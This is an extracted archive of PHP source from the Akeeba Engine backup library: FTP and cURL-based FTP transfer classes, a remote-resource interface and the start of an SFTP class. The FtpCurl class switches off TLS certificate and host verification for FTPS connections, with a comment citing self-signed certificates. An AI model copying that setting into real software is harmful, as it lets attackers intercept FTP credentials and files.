		$remotePath     = dirname($remoteFilename);
		$remoteName     = basename($remoteFilename);

		if (!$this->isDir($remotePath))
		{
			$this->mkdir($remotePath);
		}

		$changedDir = @ftp_chdir($this->connection, $remotePath);

		$ret = $changedDir && @ftp_fput($this->connection, $remoteName, $handle, FTP_BINARY);

		if ($changedDir)
		{
			@ftp_chdir($this->connection, $cwd);
		}

		fclose($handle);

		return $ret;
	}

	/**
	 * Uploads a local file to the remote storage
	 *
	 * @param   string  $localFilename   The full path to the local file
	 * @param   string  $remoteFilename  The full path to the remote file
	 * @param   bool    $useExceptions   Throw an exception instead of returning "false" on connection error.
	 *
	 * @return  boolean  True on success
	 */
	public function upload($localFilename, $remoteFilename, $useExceptions = true)
	{
		$handle = @fopen($localFilename, 'r');

		if ($handle === false)
		{
			if ($useExceptions)
			{
				throw new RuntimeException("Unreadable local file $localFilename");
			}

			return false;
		}

		$cwd            = $this->cwd();
		$remoteFilename = '/' . ltrim($remoteFilename, '/');
		$remotePath     = dirname($remoteFilename);
		$remoteName     = basename($remoteFilename);

		if (!$this->isDir($remotePath))
		{
			$this->mkdir($remotePath);
		}

		$changedDir = @ftp_chdir($this->connection, $remotePath);
		$ret        = $changedDir && @ftp_fput($this->connection, $remoteName, $handle, FTP_BINARY);

		if ($changedDir)
		{
			@ftp_chdir($this->connection, $cwd);
		}

		@fclose($handle);

		return $ret;
	}

	/**
	 * Read the contents of a remote file into a string
	 *
	 * @param   string  $fileName  The full path to the remote file
	 *
	 * @return  string  The contents of the remote file
	 */
	public function read($fileName)
	{
		// Make sure the buffer:// wrapper is loaded
		class_exists('\\Akeeba\\Engine\\Util\\Buffer', true);

		$handle = fopen('buffer://akeeba_engine_transfer_ftp', 'r+');

		$cwd            = $this->cwd();
		$remoteFilename = '/' . ltrim($fileName, '/');
		$remotePath     = dirname($remoteFilename);
		$remoteName     = basename($remoteFilename);
		$changedDir     = @ftp_chdir($this->connection, $remotePath);
		$result         = $changedDir && @ftp_fget($this->connection, $handle, $remoteName, FTP_BINARY);

		if ($changedDir)
		{
			@ftp_chdir($this->connection, $cwd);
		}

		if ($result === false)
		{
			fclose($handle);
			throw new RuntimeException("Can not download remote file $fileName");
		}

		rewind($handle);

		$ret = '';

		while (!feof($handle))
		{
			$ret .= fread($handle, 131072);
		}

		fclose($handle);

		return $ret;
	}

	/**
	 * Download a remote file into a local file
	 *
	 * @param   string  $remoteFilename  The remote file path to download from
	 * @param   string  $localFilename   The local file path to download to
	 * @param   bool    $useExceptions   Throw an exception instead of returning "false" on connection error.
	 *
	 * @return  boolean  True on success
	 */
	public function download($remoteFilename, $localFilename, $useExceptions = true)
	{
		$cwd            = $this->cwd();
		$remoteFilename = '/' . ltrim($remoteFilename, '/');
		$remotePath     = dirname($remoteFilename);
		$remoteName     = basename($remoteFilename);
		$changedDir     = @ftp_chdir($this->connection, $remotePath);

		$ret = $changedDir && @ftp_get($this->connection, $localFilename, $remoteName, FTP_BINARY);

		if ($changedDir)
		{
			@ftp_chdir($this->connection, $cwd);
		}

		if (!$ret && $useExceptions)
		{
			throw new RuntimeException("Cannot download remote file $remoteFilename through FTP.");
		}

		return $ret;
	}

	/**
	 * Delete a file (remove it from the disk)
	 *
	 * @param   string  $fileName  The full path to the file
	 *
	 * @return  boolean  True on success
	 */
	public function delete($fileName)
	{
		$cwd            = $this->cwd();
		$remoteFilename = '/' . ltrim($fileName, '/');
		$remotePath     = dirname($remoteFilename);
		$remoteName     = basename($remoteFilename);

		if (!$this->isDir($remotePath))
		{
			$this->mkdir($remotePath);
		}

		$changedDir = @ftp_chdir($this->connection, $remotePath);
		$ret        = $changedDir && @ftp_delete($this->connection, $remoteName);;

		if ($changedDir)
		{
			ftp_chdir($this->connection, $cwd);
		}

		return $ret;
	}

	/**
	 * Create a copy of the file. Actually, we have to read it in memory and upload it again.
	 *
	 * @param   string  $from  The full path of the file to copy from
	 * @param   string  $to    The full path of the file that will hold the copy
	 *
	 * @return  boolean  True on success
	 */
	public function copy($from, $to)
	{
		// Make sure the buffer:// wrapper is loaded
		class_exists('\\Akeeba\\Engine\\Util\\Buffer', true);

		$handle = fopen('buffer://akeeba_engine_transfer_ftp', 'r+');

		$cwd            = $this->cwd();
		$remoteFilename = '/' . ltrim($from, '/');
		$remotePath     = dirname($remoteFilename);
		$remoteName     = basename($remoteFilename);
		$changedDir     = @ftp_chdir($this->connection, $remotePath);

		$ret = $changedDir && @ftp_fget($this->connection, $handle, $remoteName, FTP_BINARY);

		if ($ret !== false)
		{
			rewind($handle);

			$remoteFilename = '/' . ltrim($to, '/');
			$remotePath     = dirname($remoteFilename);
			$remoteName     = basename($remoteFilename);

			if (!$this->isDir($remotePath))
			{
				$this->mkdir($remotePath);
			}

			$changedDir = @ftp_chdir($this->connection, $remotePath);
			$ret        = $changedDir && @ftp_fput($this->connection, $remoteName, $handle, FTP_BINARY);
		}

		if ($changedDir)
		{
			@ftp_chdir($this->connection, $cwd);
		}

		fclose($handle);

		return $ret;
	}

	/**
	 * Move or rename a file
	 *
	 * @param   string  $from  The full path of the file to move
	 * @param   string  $to    The full path of the target file
	 *
	 * @return  boolean  True on success
	 */
	public function move($from, $to)
	{
		return @ftp_rename($this->connection, $from, $to);
	}

	/**
	 * Change the permissions of a file
	 *
	 * @param   string   $fileName     The full path of the file whose permissions will change
	 * @param   integer  $permissions  The new permissions, e.g. 0644 (remember the leading zero in octal numbers!)
	 *
	 * @return  boolean  True on success
	 */
	public function chmod($fileName, $permissions)
	{
		if (@ftp_chmod($this->connection, $permissions, $fileName) !== false)
		{
			return true;
		}

		$permissionsOctal = decoct((int) $permissions);

		if (@ftp_site($this->connection, "CHMOD $permissionsOctal $fileName") !== false)
		{
			return true;
		}

		return false;
	}

	/**
	 * Create a directory if it doesn't exist. The operation is implicitly recursive, i.e. it will create all
	 * intermediate directories if they do not already exist.
	 *
	 * @param   string   $dirName      The full path of the directory to create
	 * @param   integer  $permissions  The permissions of the created directory
	 *
	 * @return  boolean  True on success
	 */
	public function mkdir($dirName, $permissions = 0755)
	{
		$targetDir = rtrim($dirName, '/');

		$directories = explode('/', $targetDir);

		$remoteDir = '';

		foreach ($directories as $dir)
		{
			if (!$dir)
			{
				continue;
			}

			$remoteDir .= '/' . $dir;

			// Continue if the folder already exists. Otherwise I'll get a an error even if everything is fine
			if ($this->isDir($remoteDir))
			{
				continue;
			}

			$ret = @ftp_mkdir($this->connection, $remoteDir);

			if ($ret === false)
			{
				return $ret;
			}
		}

		$this->chmod($dirName, $permissions);

		return true;
	}

	/**
	 * Checks if the given directory exists
	 *
	 * @param   string  $path  The full path of the remote directory to check
	 *
	 * @return  boolean  True if the directory exists
	 */
	public function isDir($path)
	{
		$cur_dir = ftp_pwd($this->connection);

		if (@ftp_chdir($this->connection, $path))
		{
			// If it is a directory, then change the directory back to the original directory
			ftp_chdir($this->connection, $cur_dir);

			return true;
		}
		else
		{
			return false;
		}
	}

	/**
	 * Get the current working directory
	 *
	 * @return  string
	 */
	public function cwd()
	{
		return ftp_pwd($this->connection);
	}

	/**
	 * Returns the absolute remote path from a path relative to the initial directory configured when creating the
	 * transfer object.
	 *
	 * @param   string  $fileName  The relative path of a file or directory
	 *
	 * @return  string  The absolute path for use by the transfer object
	 */
	public function getPath($fileName)
	{
		$fileName = str_replace('\\', '/', $fileName);

		if (strpos($fileName, $this->directory) === 0)
		{
			return $fileName;
		}

		$fileName = trim($fileName, '/');
		$fileName = rtrim($this->directory, '/') . '/' . $fileName;

		return $fileName;
	}

	/**
	 * Lists the subdirectories inside an FTP directory
	 *
	 * @param   null|string  $dir  The directory to scan. Skip to use the current directory.
	 *
	 * @return  array|bool  A list of folders, or false if we could not get a listing
	 *
	 * @throws  RuntimeException  When the server is incompatible with our FTP folder scanner
	 */
	public function listFolders($dir = null)
	{
		if (!@ftp_chdir($this->connection, $dir))
		{
			throw new RuntimeException(sprintf('Cannot change to FTP directory "%s" – make sure the folder exists and that you have adequate permissions to it', $dir), 500);
		}

		$list = @ftp_rawlist($this->connection, '.');

		if ($list === false)
		{
			throw new RuntimeException("Sorry, your FTP server doesn't support our FTP directory browser.");
		}

		$folders = [];

		foreach ($list as $v)
		{
			$vInfo = preg_split("/[\s]+/", $v, 9);

			if ($vInfo[0] !== "total")
			{
				$perms = $vInfo[0];

				if (substr($perms, 0, 1) == 'd')
				{
					$folders[] = $vInfo[8];
				}
			}
		}

		asort($folders);

		return $folders;
	}

	/**
	 * Return a string with the appropriate stream wrapper protocol for $path. You can use the result with all PHP
	 * functions / classes which accept file paths such as DirectoryIterator, file_get_contents, file_put_contents,
	 * fopen etc.
	 *
	 * @param   string  $path
	 *
	 * @return  string
	 */
	public function getWrapperStringFor($path)
	{
		$usernameEncoded = urlencode($this->username);
		$passwordEncoded = urlencode($this->password);
		$hostname        = $this->host . ($this->port ? ":{$this->port}" : '');
		$protocol        = $this->ssl ? "ftps" : "ftp";

		return "{$protocol}://{$usernameEncoded}:{$passwordEncoded}@{$hostname}{$path}";
	}

	/**
	 * Return the raw server listing for the requested folder.
	 *
	 * @param   string  $folder  The path name to list
	 *
	 * @return  string
	 */
	public function getRawList($folder)
	{
		return ftp_rawlist($this->connection, $folder);
	}
}
PK     \r7i  i  E  vendor/akeeba/engine/engine/Util/Transfer/RemoteResourceInterface.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Transfer;

defined('AKEEBAENGINE') || die();

/**
 * An interface for Transfer adapters which support remote resources, allowing us to efficient read from / write to
 * remote locations as if they were local files.
 */
interface RemoteResourceInterface
{
	/**
	 * Return a string with the appropriate stream wrapper protocol for $path. You can use the result with all PHP
	 * functions / classes which accept file paths such as DirectoryIterator, file_get_contents, file_put_contents,
	 * fopen etc.
	 *
	 * @param   string  $path
	 *
	 * @return  string
	 */
	public function getWrapperStringFor($path);

	/**
	 * Return the raw server listing for the requested folder.
	 *
	 * @param   string  $folder  The path name to list
	 *
	 * @return  string
	 */
	public function getRawList($folder);
}
PK     \erN  N  5  vendor/akeeba/engine/engine/Util/Transfer/FtpCurl.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Transfer;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\ProxyAware;
use RuntimeException;

/**
 * FTP transfer object, using cURL as the transport backend
 */
class FtpCurl extends Ftp implements TransferInterface
{
	use ProxyAware;

	/**
	 * Timeout for transferring data to the FTP server, default: 10 minutes
	 *
	 * @var  integer
	 */
	protected $timeout = 600;

	/**
	 * Should I ignore the IP returned by the server during Passive mode transfers?
	 *
	 * @var   bool
	 *
	 * @see   http://www.elitehosts.com/blog/php-ftp-passive-ftp-server-behind-nat-nightmare/
	 */
	private $skipPassiveIP = true;

	/**
	 * Should we enable verbose output to STDOUT? Useful for debugging.
	 *
	 * @var   bool
	 */
	private $verbose = false;

	/**
	 * Public constructor
	 *
	 * @param   array  $options  Configuration options
	 *
	 * @throws  RuntimeException
	 */
	public function __construct(array $options)
	{
		parent::__construct($options);

		if (isset($options['passive_fix']))
		{
			$this->skipPassiveIP = $options['passive_fix'] ? true : false;
		}

		if (isset($options['verbose']))
		{
			$this->verbose = $options['verbose'] ? true : false;
		}
	}

	/**
	 * Save all parameters on serialization except the connection resource
	 *
	 * @return  array
	 */
	public function __sleep()
	{
		return [
			'host',
			'port',
			'username',
			'password',
			'directory',
			'ssl',
			'passive',
			'timeout',
			'skipPassiveIP',
			'verbose',
		];
	}

	/**
	 * Test the connection to the FTP server and whether the initial directory is correct. This is done by attempting to
	 * list the contents of the initial directory. The listing is not parsed (we don't really care!) and we do NOT check
	 * if we can upload files to that remote folder.
	 *
	 * @throws  RuntimeException
	 */
	public function connect()
	{
		$ch = $this->getCurlHandle($this->directory . '/');
		curl_setopt($ch, CURLOPT_HEADER, 1);
		curl_setopt($ch, CURLOPT_NOBODY, 1);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

		curl_exec($ch);

		$errNo = curl_errno($ch);
		$error = curl_error($ch);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}


		if ($errNo)
		{
			throw new RuntimeException("cURL Error $errNo connecting to remote FTP server: $error", 500);
		}
	}

	/**
	 * Write the contents into the file
	 *
	 * @param   string  $fileName  The full path to the file
	 * @param   string  $contents  The contents to write to the file
	 *
	 * @return  boolean  True on success
	 */
	public function write($fileName, $contents)
	{
		// Make sure the buffer:// wrapper is loaded
		class_exists('\\Akeeba\\Engine\\Util\\Buffer', true);

		$handle = fopen('buffer://akeeba_engine_transfer_ftp_curl', 'r+');
		fwrite($handle, $contents);

		// Note: don't manually close the file pointer, it's closed automatically by uploadFromHandle
		try
		{
			$this->uploadFromHandle($fileName, $handle);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Uploads a local file to the remote storage
	 *
	 * @param   string  $localFilename   The full path to the local file
	 * @param   string  $remoteFilename  The full path to the remote file
	 * @param   bool    $useExceptions   Throw an exception instead of returning "false" on connection error.
	 *
	 * @return  boolean  True on success
	 */
	public function upload($localFilename, $remoteFilename, $useExceptions = true)
	{
		$fp = @fopen($localFilename, 'r');

		if ($fp === false)
		{
			throw new RuntimeException("Unreadable local file $localFilename");
		}

		// Note: don't manually close the file pointer, it's closed automatically by uploadFromHandle
		try
		{
			$this->uploadFromHandle($remoteFilename, $fp);
		}
		catch (RuntimeException $e)
		{
			if ($useExceptions)
			{
				throw $e;
			}

			return false;
		}

		return true;
	}

	/**
	 * Read the contents of a remote file into a string
	 *
	 * @param   string  $fileName  The full path to the remote file
	 *
	 * @return  string  The contents of the remote file
	 */
	public function read($fileName)
	{
		try
		{
			return $this->downloadToString($fileName);
		}
		catch (RuntimeException $e)
		{
			throw new RuntimeException("Can not download remote file $fileName", 500, $e);
		}
	}

	/**
	 * Download a remote file into a local file
	 *
	 * @param   string  $remoteFilename  The remote file path to download from
	 * @param   string  $localFilename   The local file path to download to
	 * @param   bool    $useExceptions   Throw an exception instead of returning "false" on connection error.
	 *
	 * @return  boolean  True on success
	 */
	public function download($remoteFilename, $localFilename, $useExceptions = true)
	{
		$fp = @fopen($localFilename, 'w');

		if ($fp === false)
		{
			if ($useExceptions)
			{
				throw new RuntimeException(sprintf('Download from FTP failed. Can not open local file %s for writing.', $localFilename));
			}

			return false;
		}

		// Note: don't manually close the file pointer, it's closed automatically by downloadToHandle
		try
		{
			$this->downloadToHandle($remoteFilename, $fp);
		}
		catch (RuntimeException $e)
		{
			if ($useExceptions)
			{
				throw $e;
			}

			return false;
		}

		return true;
	}

	/**
	 * Delete a file (remove it from the disk)
	 *
	 * @param   string  $fileName  The full path to the file
	 *
	 * @return  boolean  True on success
	 */
	public function delete($fileName)
	{
		$commands = [
			'DELE ' . $this->getPath($fileName),
		];

		try
		{
			$this->executeServerCommands($commands);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Create a copy of the file. Actually, we have to read it in memory and upload it again.
	 *
	 * @param   string  $from  The full path of the file to copy from
	 * @param   string  $to    The full path of the file that will hold the copy
	 *
	 * @return  boolean  True on success
	 */
	public function copy($from, $to)
	{
		// Make sure the buffer:// wrapper is loaded
		class_exists('\\Akeeba\\Engine\\Util\\Buffer', true);

		$handle = fopen('buffer://akeeba_engine_transfer_ftp', 'r+');

		try
		{
			$this->downloadToHandle($from, $handle, false);
			$this->uploadFromHandle($to, $handle);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Move or rename a file
	 *
	 * @param   string  $from  The full path of the file to move
	 * @param   string  $to    The full path of the target file
	 *
	 * @return  boolean  True on success
	 */
	public function move($from, $to)
	{
		$from = $this->getPath($from);
		$to   = $this->getPath($to);

		$commands = [
			'RNFR /' . $from,
			'RNTO /' . $to,
		];

		try
		{
			$this->executeServerCommands($commands);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Change the permissions of a file
	 *
	 * @param   string   $fileName     The full path of the file whose permissions will change
	 * @param   integer  $permissions  The new permissions, e.g. 0644 (remember the leading zero in octal numbers!)
	 *
	 * @return  boolean  True on success
	 */
	public function chmod($fileName, $permissions)
	{
		// Make sure permissions are in an octal string representation
		if (!is_string($permissions))
		{
			$permissions = decoct($permissions);
		}

		$commands = [
			'SITE CHMOD ' . $permissions . ' /' . $this->getPath($fileName),
		];

		try
		{
			$this->executeServerCommands($commands);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Create a directory if it doesn't exist. The operation is implicitly recursive, i.e. it will create all
	 * intermediate directories if they do not already exist.
	 *
	 * @param   string   $dirName      The full path of the directory to create
	 * @param   integer  $permissions  The permissions of the created directory
	 *
	 * @return  boolean  True on success
	 */
	public function mkdir($dirName, $permissions = 0755)
	{
		$targetDir = rtrim($dirName, '/');

		$directories = explode('/', $targetDir);

		$remoteDir = '';

		foreach ($directories as $dir)
		{
			if (!$dir)
			{
				continue;
			}

			$remoteDir .= '/' . $dir;

			// Continue if the folder already exists. Otherwise I'll get a an error even if everything is fine
			if ($this->isDir($remoteDir))
			{
				continue;
			}

			$commands = [
				'MKD ' . $remoteDir,
			];

			try
			{
				$this->executeServerCommands($commands);
			}
			catch (RuntimeException $e)
			{
				return false;
			}
		}

		$this->chmod($dirName, $permissions);

		return true;
	}

	/**
	 * Checks if the given directory exists
	 *
	 * @param   string  $path  The full path of the remote directory to check
	 *
	 * @return  boolean  True if the directory exists
	 */
	public function isDir($path)
	{
		$ch = $this->getCurlHandle($path . '/');
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

		curl_exec($ch);

		$errNo = curl_errno($ch);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}

		if ($errNo)
		{
			return false;
		}

		return true;
	}

	/**
	 * Get the current working directory. NOT IMPLEMENTED.
	 *
	 * @return  string
	 */
	public function cwd()
	{
		$commands = [
			'PWD',
		];

		try
		{
			$result = $this->executeServerCommands($commands, '');
		}
		catch (RuntimeException $e)
		{
			return '/';
		}

		return $result;
	}

	/**
	 * Lists the subdirectories inside an FTP directory
	 *
	 * @param   null|string  $dir  The directory to scan. Skip to use the current directory.
	 *
	 * @return  array|bool   A list of folders, or false if we could not get a listing
	 *
	 * @throws  RuntimeException  When the server is incompatible with our FTP folder scanner
	 */
	public function listFolders($dir = null)
	{
		if (empty($dir))
		{
			$dir = $this->directory;
		}

		$dir = rtrim($dir, '/');

		$ch = $this->getCurlHandle($dir . '/');
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

		$list = curl_exec($ch);

		$errNo = curl_errno($ch);
		$error = curl_error($ch);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}

		if ($errNo)
		{
			throw new RuntimeException(sprintf("cURL Error $errNo ($error) while listing contents of directory \"%s\" – make sure the folder exists and that you have adequate permissions to it", $dir), 500);
		}

		if (empty($list))
		{
			throw new RuntimeException("Sorry, your FTP server doesn't support our FTP directory browser.");
		}

		$folders = [];

		// Convert the directory listing into an array of lines without *NIX/Windows/Mac line ending characters
		$list = explode("\n", $list);
		$list = array_map('rtrim', $list);

		foreach ($list as $v)
		{
			$vInfo = preg_split("/[\s]+/", $v, 9);

			if ($vInfo[0] !== "total")
			{
				$perms = $vInfo[0];

				if (substr($perms, 0, 1) == 'd')
				{
					$folders[] = $vInfo[8];
				}
			}
		}

		asort($folders);

		return $folders;
	}

	/**
	 * Is the verbose debug option set?
	 *
	 * @return  boolean
	 */
	public function isVerbose()
	{
		return $this->verbose;
	}

	/**
	 * Set the verbose debug option
	 *
	 * @param   boolean  $verbose
	 *
	 * @return  void
	 */
	public function setVerbose($verbose)
	{
		$this->verbose = $verbose;
	}

	/**
	 * Returns the absolute remote path from a path relative to the initial directory configured when creating the
	 * transfer object.
	 *
	 * @param   string  $fileName  The relative path of a file or directory
	 *
	 * @return  string  The absolute path for use by the transfer object
	 */
	public function getPath($fileName)
	{
		$fileName = ltrim(str_replace('\\', '/', $fileName), '/');

		$isInitialDirectory = $fileName === $this->directory;
		$startsWithInitialDirectory = (strpos($fileName, rtrim($this->directory, '/') . '/') === 0)
			|| (strpos($fileName, trim($this->directory, '/') . '/') === 0);

		// Relative file? Add the initial directory
		if (!$isInitialDirectory && !$startsWithInitialDirectory)
		{
			$fileName = '/' . trim($this->directory, '/') .
				(empty($fileName) ? '' : '/') . $fileName;
		}

		return '/' . ltrim($fileName, '/');
	}

	/**
	 * Returns a cURL resource handler for the remote FTP server
	 *
	 * @param   string  $remoteFile  Optional. The remote file / folder on the FTP server you'll be manipulating with cURL.
	 *
	 * @return  resource
	 */
	protected function getCurlHandle($remoteFile = '')
	{
		/**
		 * Get the FTP URI
		 *
		 * VERY IMPORTANT! WE NEED THE DOUBLE SLASH AFTER THE HOST NAME since we are giving an absolute path.
		 * @see https://technicalsanctuary.wordpress.com/2012/11/01/curl-curl-9-server-denied-you-to-change-to-the-given-directory/
		 */
		$ftpUri = 'ftp://' . $this->host . '//';

		$isInitialDirectory = $remoteFile === $this->directory;
		$startsWithInitialDirectory = (strpos($remoteFile, rtrim($this->directory, '/') . '/') === 0)
			|| (strpos($remoteFile, trim($this->directory, '/') . '/') === 0);

		// Relative file? Add the initial directory
		if (!$isInitialDirectory && !$startsWithInitialDirectory)
		{
			$ftpUri .= '/' . trim($this->directory, '/');
		}

		if (!empty($remoteFile) && substr($ftpUri, -2) !== '//')
		{
			$ftpUri .= '/';
		}

		// Add a remote file if necessary. The filename must be URL encoded since we're creating a URI.
		if (!empty($remoteFile))
		{
			$suffix = '';

			if (substr($remoteFile, -7, 6) == ';type=')
			{
				$suffix     = substr($remoteFile, -7);
				$remoteFile = substr($remoteFile, 0, -7);
			}

			$dirname = dirname($remoteFile);

			// Windows messing up dirname('/'). KILL ME.
			if ($dirname == '\\')
			{
				$dirname = '';
			}

			$dirname  = trim($dirname, '/');
			$basename = basename($remoteFile);

			if ((substr($remoteFile, -1) == '/') && !empty($basename))
			{
				$suffix = '/' . $suffix;
			}

			$ftpUri .= '/' . $dirname . (empty($dirname) ? '' : '/') . urlencode($basename) . $suffix;
		}

		// Colons in usernames must be URL escaped
		$username = str_replace(':', '%3A', $this->username);

		$ch = curl_init();

		$this->applyProxySettingsToCurl($ch);

		curl_setopt($ch, CURLOPT_URL, $ftpUri);
		curl_setopt($ch, CURLOPT_USERPWD, $username . ":" . $this->password);
		curl_setopt($ch, CURLOPT_PORT, $this->port);
		curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout);

		// Should I enable Implict SSL?
		if ($this->ssl)
		{
			curl_setopt($ch, CURLOPT_FTP_SSL, CURLFTPSSL_ALL);
			curl_setopt($ch, CURLOPT_FTPSSLAUTH, CURLFTPAUTH_DEFAULT);

			// Most FTPS servers use self-signed certificates. That's the only way to connect to them :(
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
			curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
		}

		// Should I ignore the server-supplied passive mode IP address?
		if ($this->passive && $this->skipPassiveIP)
		{
			curl_setopt($ch, CURLOPT_FTP_SKIP_PASV_IP, 1);
		}

		// Should I enable active mode?
		if (!$this->passive)
		{
			/**
			 * cURL always uses passive mode for FTP transfers. Setting the CURLOPT_FTPPORT flag enables the FTP PORT
			 * command which makes the connection active. Setting it to '-'  lets the library use your system's default
			 * IP address.
			 *
			 * @see https://curl.haxx.se/libcurl/c/CURLOPT_FTPPORT.html
			 */
			curl_setopt($ch, CURLOPT_FTPPORT, '-');
		}

		// Should I enable verbose output? Useful for debugging.
		if ($this->verbose)
		{
			curl_setopt($ch, CURLOPT_VERBOSE, 1);
		}

		// Automatically create missing directories
		curl_setopt($ch, CURLOPT_FTP_CREATE_MISSING_DIRS, 1);

		return $ch;
	}

	/**
	 * Uploads a file using file contents provided through a file handle
	 *
	 * @param   string    $remoteFilename  Remote file to write contents to
	 * @param   resource  $fp              File or stream handler of the source data to upload
	 *
	 * @return  void
	 *
	 * @throws  RuntimeException
	 */
	protected function uploadFromHandle($remoteFilename, $fp)
	{
		// We need the file size. We can do that by getting the file position at EOF
		fseek($fp, 0, SEEK_END);
		$filesize = ftell($fp);
		rewind($fp);

		/**
		 * The ;type=i suffix forces Binary file transfer mode
		 *
		 * @see  https://curl.haxx.se/mail/archive-2008-05/0089.html
		 */
		$ch = $this->getCurlHandle($remoteFilename . ';type=i');
		curl_setopt($ch, CURLOPT_UPLOAD, 1);
		curl_setopt($ch, CURLOPT_INFILE, $fp);
		curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);

		curl_exec($ch);

		$error_no = curl_errno($ch);
		$error    = curl_error($ch);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}

		fclose($fp);

		if ($error_no)
		{
			throw new RuntimeException($error, $error_no);
		}
	}

	/**
	 * Downloads a remote file to the provided file handle
	 *
	 * @param   string    $remoteFilename  Filename on the remote server
	 * @param   resource  $fp              File handle where the downloaded content will be written to
	 * @param   bool      $close           Optional. Should I close the file handle when I'm done? (Default: true)
	 *
	 * @return  void
	 *
	 * @throws  RuntimeException
	 */
	protected function downloadToHandle($remoteFilename, $fp, $close = true)
	{
		/**
		 * The ;type=i suffix forces Binary file transfer mode
		 *
		 * @see  https://curl.haxx.se/mail/archive-2008-05/0089.html
		 */
		$ch = $this->getCurlHandle($remoteFilename . ';type=i');

		curl_setopt($ch, CURLOPT_FILE, $fp);

		curl_exec($ch);

		$error_no = curl_errno($ch);
		$error    = curl_error($ch);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}

		if ($close)
		{
			fclose($fp);
		}

		if ($error_no)
		{
			throw new RuntimeException($error, $error_no);
		}
	}

	/**
	 * Downloads a remote file and returns it as a string
	 *
	 * @param   string  $remoteFilename  Filename on the remote server
	 *
	 * @return  string
	 *
	 * @throws  RuntimeException
	 */
	protected function downloadToString($remoteFilename)
	{
		/**
		 * The ;type=i suffix forces Binary file transfer mode
		 *
		 * @see  https://curl.haxx.se/mail/archive-2008-05/0089.html
		 */
		$ch = $this->getCurlHandle($remoteFilename . ';type=i');

		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_HEADER, false);

		$ret = curl_exec($ch);

		$error_no = curl_errno($ch);
		$error    = curl_error($ch);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}

		if ($error_no)
		{
			throw new RuntimeException($error, $error_no);
		}

		return $ret;
	}

	/**
	 * Executes arbitrary FTP commands
	 *
	 * @param   string[]     $commands    An array with the FTP commands to be executed
	 * @param   string|null  $remoteFile  The remote file / folder to use in the cURL URI when executing the commands
	 *
	 * @return  string  The output of the executed commands
	 *
	 */
	protected function executeServerCommands(array $commands, ?string $remoteFile = null): string
	{
		$remoteFile = $remoteFile ?? ($this->directory . '/');

		$ch = $this->getCurlHandle($remoteFile);

		curl_setopt($ch, CURLOPT_QUOTE, $commands);
		curl_setopt($ch, CURLOPT_HEADER, 1);
		curl_setopt($ch, CURLOPT_NOBODY, 1);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

		$listing = curl_exec($ch);
		$errNo   = curl_errno($ch);
		$error   = curl_error($ch);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}

		if ($errNo)
		{
			throw new RuntimeException($error, $errNo);
		}

		return $listing;
	}
}
PK     \1:  :  2  vendor/akeeba/engine/engine/Util/Transfer/Sftp.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Transfer;

defined('AKEEBAENGINE') || die();

use DirectoryIterator;
use Exception;
use RuntimeException;

/**
 * SFTP transfer object
 */
